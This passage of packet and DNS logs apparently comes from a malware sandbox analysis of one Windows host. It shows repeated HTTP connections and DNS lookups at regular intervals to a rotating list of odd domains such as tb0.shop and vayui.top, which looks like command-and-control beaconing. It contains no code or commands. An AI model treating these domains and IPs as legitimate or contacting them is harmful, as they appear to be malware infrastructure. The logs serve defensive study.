Dec 12, 2024 10:23:06.585920095 CET	49202	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:06.588057995 CET	49202	80	192.168.2.22	13.248.169.48
Dec 12, 2024 10:23:06.707570076 CET	80	49202	13.248.169.48	192.168.2.22
Dec 12, 2024 10:23:11.988796949 CET	49203	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:12.111881018 CET	80	49203	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:12.112001896 CET	49203	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:12.125231981 CET	49203	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:12.245421886 CET	80	49203	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:12.245501041 CET	49203	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:12.245522022 CET	80	49203	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:12.364850044 CET	80	49203	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:13.404472113 CET	80	49203	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:13.404536009 CET	80	49203	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:13.404778957 CET	49203	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:13.631017923 CET	49203	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:14.646842003 CET	49204	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:14.766381979 CET	80	49204	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:14.766469955 CET	49204	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:14.780477047 CET	49204	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:14.899883032 CET	80	49204	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:16.058168888 CET	80	49204	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:16.058299065 CET	80	49204	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:16.058769941 CET	49204	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:16.282792091 CET	49204	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:17.299225092 CET	49205	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:17.419477940 CET	80	49205	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:17.427174091 CET	49205	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:17.444489956 CET	49205	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:17.565726995 CET	80	49205	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:17.565763950 CET	80	49205	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:17.565887928 CET	49205	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:17.686242104 CET	80	49205	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:17.686253071 CET	80	49205	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:18.719711065 CET	80	49205	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:18.825026989 CET	80	49205	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:18.825078964 CET	49205	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:18.950376034 CET	49205	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:19.967243910 CET	49206	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:20.086694002 CET	80	49206	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:20.086854935 CET	49206	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:20.097759008 CET	49206	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:20.217123032 CET	80	49206	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:21.379368067 CET	80	49206	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:21.379441023 CET	80	49206	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:21.384078026 CET	49206	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:21.384838104 CET	49206	80	192.168.2.22	81.2.196.19
Dec 12, 2024 10:23:21.504900932 CET	80	49206	81.2.196.19	192.168.2.22
Dec 12, 2024 10:23:26.640429020 CET	49207	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:26.759856939 CET	80	49207	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:26.759933949 CET	49207	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:26.874097109 CET	49207	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:26.993510962 CET	80	49207	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:26.993562937 CET	49207	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:26.993571997 CET	80	49207	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:27.113168001 CET	80	49207	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:28.043258905 CET	80	49207	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:28.043275118 CET	80	49207	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:28.043338060 CET	80	49207	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:28.043387890 CET	49207	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:28.043541908 CET	49207	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:28.372808933 CET	49207	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:29.389194965 CET	49208	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:29.508771896 CET	80	49208	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:29.511334896 CET	49208	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:29.529061079 CET	49208	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:29.648416996 CET	80	49208	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:30.781925917 CET	80	49208	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:30.781943083 CET	80	49208	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:30.781995058 CET	49208	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:30.782459974 CET	80	49208	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:30.782504082 CET	49208	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:31.040435076 CET	49208	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:32.059189081 CET	49209	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:32.178558111 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:32.178718090 CET	49209	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:32.190774918 CET	49209	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:32.310069084 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:32.310126066 CET	49209	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:32.310194016 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:32.429490089 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:32.429550886 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:33.441935062 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:33.441951036 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:33.442169905 CET	49209	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:33.442764997 CET	80	49209	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:33.442868948 CET	49209	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:33.702718019 CET	49209	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:34.710078001 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:34.830539942 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:34.830625057 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:34.840564966 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:34.959959030 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102161884 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102205992 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102217913 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102341890 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102365017 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102404118 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102416992 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.102421045 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102494001 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.102580070 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102591038 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102597952 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.102646112 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.104136944 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.221756935 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.221771955 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.221883059 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.294348955 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.294363976 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.294469118 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.298501968 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.298650026 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.298719883 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.307044983 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.307189941 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.307271957 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.315174103 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.315330982 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:36.315402985 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.318205118 CET	49210	80	192.168.2.22	172.67.215.235
Dec 12, 2024 10:23:36.439037085 CET	80	49210	172.67.215.235	192.168.2.22
Dec 12, 2024 10:23:42.251043081 CET	49211	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:42.370660067 CET	80	49211	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:42.370738029 CET	49211	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:42.382726908 CET	49211	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:42.502312899 CET	80	49211	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:42.502367020 CET	49211	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:42.502413034 CET	80	49211	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:42.622298956 CET	80	49211	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:43.603740931 CET	80	49211	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:43.603996038 CET	80	49211	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:43.604069948 CET	49211	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:43.604129076 CET	80	49211	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:43.604171038 CET	49211	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:43.894856930 CET	49211	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:45.323968887 CET	49212	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:45.443947077 CET	80	49212	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:45.444010973 CET	49212	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:45.458267927 CET	49212	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:45.577503920 CET	80	49212	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:46.671324015 CET	80	49212	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:46.671688080 CET	80	49212	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:46.671806097 CET	49212	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:46.968126059 CET	49212	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:47.984899044 CET	49213	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:48.105345964 CET	80	49213	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:48.105947971 CET	49213	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:48.118287086 CET	49213	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:48.237627983 CET	80	49213	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:48.237741947 CET	49213	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:48.237756014 CET	80	49213	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:48.357028008 CET	80	49213	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:48.357212067 CET	80	49213	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:49.334330082 CET	80	49213	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:49.335040092 CET	80	49213	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:49.335081100 CET	49213	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:49.620090008 CET	49213	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:50.636403084 CET	49214	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:50.755723953 CET	80	49214	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:50.759104013 CET	49214	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:50.767215014 CET	49214	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:50.886512995 CET	80	49214	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:51.985297918 CET	80	49214	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:51.985342026 CET	80	49214	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:51.985548973 CET	80	49214	172.67.145.234	192.168.2.22
Dec 12, 2024 10:23:51.985546112 CET	49214	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:51.986865044 CET	49214	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:51.987467051 CET	49214	80	192.168.2.22	172.67.145.234
Dec 12, 2024 10:23:52.106905937 CET	80	49214	172.67.145.234	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 10:19:34.966670036 CET	138	138	192.168.2.22	192.168.2.255
Dec 12, 2024 10:20:13.805001020 CET	52781	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:20:14.487454891 CET	53	52781	8.8.8.8	192.168.2.22
Dec 12, 2024 10:20:19.632810116 CET	63926	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:20:20.142815113 CET	53	63926	8.8.8.8	192.168.2.22
Dec 12, 2024 10:20:20.143145084 CET	63926	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:20:20.652255058 CET	53	63926	8.8.8.8	192.168.2.22
Dec 12, 2024 10:20:20.652456999 CET	63926	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:20:20.786238909 CET	53	63926	8.8.8.8	192.168.2.22
Dec 12, 2024 10:20:25.767843008 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:20:26.523175001 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:20:27.287475109 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:20:31.610902071 CET	65510	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:20:31.850424051 CET	53	65510	8.8.8.8	192.168.2.22
Dec 12, 2024 10:20:46.232160091 CET	62672	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:20:46.863133907 CET	53	62672	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:01.257534981 CET	56475	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:01.407386065 CET	53	56475	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:02.422164917 CET	49384	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:02.573925018 CET	53	49384	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:03.592145920 CET	54842	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:03.741609097 CET	53	54842	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:04.750890017 CET	58105	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:04.903347015 CET	53	58105	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:09.955506086 CET	64928	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:10.329721928 CET	53	64928	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:10.330809116 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:11.095069885 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:11.856901884 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:13.638585091 CET	57390	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:13.774641991 CET	53	57390	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:13.777545929 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:14.540019035 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:15.304414034 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:17.091012955 CET	58095	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:17.446501970 CET	53	58095	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:17.447364092 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:18.206072092 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:18.970417976 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:20.870718002 CET	54261	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:21.247852087 CET	53	54261	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:21.248641014 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:22.012428045 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:22.776838064 CET	137	137	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:28.694618940 CET	60507	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:29.045106888 CET	53	60507	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:34.670978069 CET	138	138	192.168.2.22	192.168.2.255
Dec 12, 2024 10:21:43.269596100 CET	50446	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:43.632327080 CET	53	50446	8.8.8.8	192.168.2.22
Dec 12, 2024 10:21:58.168893099 CET	55939	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:21:58.304864883 CET	53	55939	8.8.8.8	192.168.2.22
Dec 12, 2024 10:22:12.771517992 CET	49608	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:22:12.905580997 CET	53	49608	8.8.8.8	192.168.2.22
Dec 12, 2024 10:22:27.271106005 CET	61486	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:22:27.662798882 CET	53	61486	8.8.8.8	192.168.2.22
Dec 12, 2024 10:22:42.066189051 CET	62453	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:22:42.701673031 CET	53	62453	8.8.8.8	192.168.2.22
Dec 12, 2024 10:22:57.163642883 CET	50568	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:22:57.297498941 CET	53	50568	8.8.8.8	192.168.2.22
Dec 12, 2024 10:23:11.595437050 CET	61467	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:23:11.985996008 CET	53	61467	8.8.8.8	192.168.2.22
Dec 12, 2024 10:23:26.395190001 CET	61618	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:23:26.638597012 CET	53	61618	8.8.8.8	192.168.2.22
Dec 12, 2024 10:23:41.996026039 CET	54422	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:23:42.236202955 CET	53	54422	8.8.8.8	192.168.2.22
Dec 12, 2024 10:23:56.986052036 CET	52074	53	192.168.2.22	8.8.8.8
Dec 12, 2024 10:23:57.508109093 CET	53	52074	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 10:20:13.805001020 CET	192.168.2.22	8.8.8.8	0xc225	Standard query (0)	www.zoiheat.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:19.632810116 CET	192.168.2.22	8.8.8.8	0x8325	Standard query (0)	www.sqlite.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:20.143145084 CET	192.168.2.22	8.8.8.8	0x8325	Standard query (0)	www.sqlite.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:20.652456999 CET	192.168.2.22	8.8.8.8	0x8325	Standard query (0)	www.sqlite.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:31.610902071 CET	192.168.2.22	8.8.8.8	0x2825	Standard query (0)	www.questmatch.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:46.232160091 CET	192.168.2.22	8.8.8.8	0xe690	Standard query (0)	www.mrpokrovskii.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:01.257534981 CET	192.168.2.22	8.8.8.8	0xa65a	Standard query (0)	www.sodatool.site	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:02.422164917 CET	192.168.2.22	8.8.8.8	0xd0ed	Standard query (0)	www.sodatool.site	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:03.592145920 CET	192.168.2.22	8.8.8.8	0x926c	Standard query (0)	www.sodatool.site	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:04.750890017 CET	192.168.2.22	8.8.8.8	0xb69c	Standard query (0)	www.sodatool.site	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:09.955506086 CET	192.168.2.22	8.8.8.8	0x5021	Standard query (0)	www.tb0.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:13.638585091 CET	192.168.2.22	8.8.8.8	0xc46f	Standard query (0)	www.tb0.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:17.091012955 CET	192.168.2.22	8.8.8.8	0xfd30	Standard query (0)	www.tb0.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:20.870718002 CET	192.168.2.22	8.8.8.8	0x7701	Standard query (0)	www.tb0.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:28.694618940 CET	192.168.2.22	8.8.8.8	0xd94	Standard query (0)	www.kvsj.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:43.269596100 CET	192.168.2.22	8.8.8.8	0x70b4	Standard query (0)	www.learniit.info	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:58.168893099 CET	192.168.2.22	8.8.8.8	0xcc6	Standard query (0)	www.bankseedz.info	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:12.771517992 CET	192.168.2.22	8.8.8.8	0xb45c	Standard query (0)	www.dietcoffee.online	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:27.271106005 CET	192.168.2.22	8.8.8.8	0x8554	Standard query (0)	www.smartcongress.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:42.066189051 CET	192.168.2.22	8.8.8.8	0x1bbb	Standard query (0)	www.carsten.studio	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:57.163642883 CET	192.168.2.22	8.8.8.8	0x6d9d	Standard query (0)	www.krshop.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:11.595437050 CET	192.168.2.22	8.8.8.8	0xda8c	Standard query (0)	www.rysanekbeton.cloud	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:26.395190001 CET	192.168.2.22	8.8.8.8	0xe617	Standard query (0)	www.airrelax.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:41.996026039 CET	192.168.2.22	8.8.8.8	0xd38a	Standard query (0)	www.vayui.top	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:56.986052036 CET	192.168.2.22	8.8.8.8	0xf189	Standard query (0)	www.diozusemails.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 10:20:14.487454891 CET	8.8.8.8	192.168.2.22	0xc225	No error (0)	www.zoiheat.xyz	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 10:20:14.487454891 CET	8.8.8.8	192.168.2.22	0xc225	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 10:20:14.487454891 CET	8.8.8.8	192.168.2.22	0xc225	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:20.142815113 CET	8.8.8.8	192.168.2.22	0x8325	No error (0)	www.sqlite.org		45.33.6.223	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:20.652255058 CET	8.8.8.8	192.168.2.22	0x8325	No error (0)	www.sqlite.org		45.33.6.223	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:20.786238909 CET	8.8.8.8	192.168.2.22	0x8325	No error (0)	www.sqlite.org		45.33.6.223	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:31.850424051 CET	8.8.8.8	192.168.2.22	0x2825	No error (0)	www.questmatch.pro		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:31.850424051 CET	8.8.8.8	192.168.2.22	0x2825	No error (0)	www.questmatch.pro		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:20:46.863133907 CET	8.8.8.8	192.168.2.22	0xe690	No error (0)	www.mrpokrovskii.pro		85.25.177.138	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:01.407386065 CET	8.8.8.8	192.168.2.22	0xa65a	Name error (3)	www.sodatool.site	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:02.573925018 CET	8.8.8.8	192.168.2.22	0xd0ed	Name error (3)	www.sodatool.site	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:03.741609097 CET	8.8.8.8	192.168.2.22	0x926c	Name error (3)	www.sodatool.site	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:04.903347015 CET	8.8.8.8	192.168.2.22	0xb69c	Name error (3)	www.sodatool.site	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:10.329721928 CET	8.8.8.8	192.168.2.22	0x5021	Name error (3)	www.tb0.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:13.774641991 CET	8.8.8.8	192.168.2.22	0xc46f	Name error (3)	www.tb0.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:17.446501970 CET	8.8.8.8	192.168.2.22	0xfd30	Name error (3)	www.tb0.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:21.247852087 CET	8.8.8.8	192.168.2.22	0x7701	Name error (3)	www.tb0.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:29.045106888 CET	8.8.8.8	192.168.2.22	0xd94	No error (0)	www.kvsj.net		173.236.199.97	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:43.632327080 CET	8.8.8.8	192.168.2.22	0x70b4	No error (0)	www.learniit.info		203.161.42.73	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:21:58.304864883 CET	8.8.8.8	192.168.2.22	0xcc6	No error (0)	www.bankseedz.info		46.30.211.38	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:12.905580997 CET	8.8.8.8	192.168.2.22	0xb45c	No error (0)	www.dietcoffee.online		77.68.64.45	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:27.662798882 CET	8.8.8.8	192.168.2.22	0x8554	No error (0)	www.smartcongress.net	smartcongress.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 10:22:27.662798882 CET	8.8.8.8	192.168.2.22	0x8554	No error (0)	smartcongress.net		146.88.233.115	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:42.701673031 CET	8.8.8.8	192.168.2.22	0x1bbb	No error (0)	www.carsten.studio	carsten.studio		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 10:22:42.701673031 CET	8.8.8.8	192.168.2.22	0x1bbb	No error (0)	carsten.studio		217.160.0.200	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:57.297498941 CET	8.8.8.8	192.168.2.22	0x6d9d	No error (0)	www.krshop.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:22:57.297498941 CET	8.8.8.8	192.168.2.22	0x6d9d	No error (0)	www.krshop.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
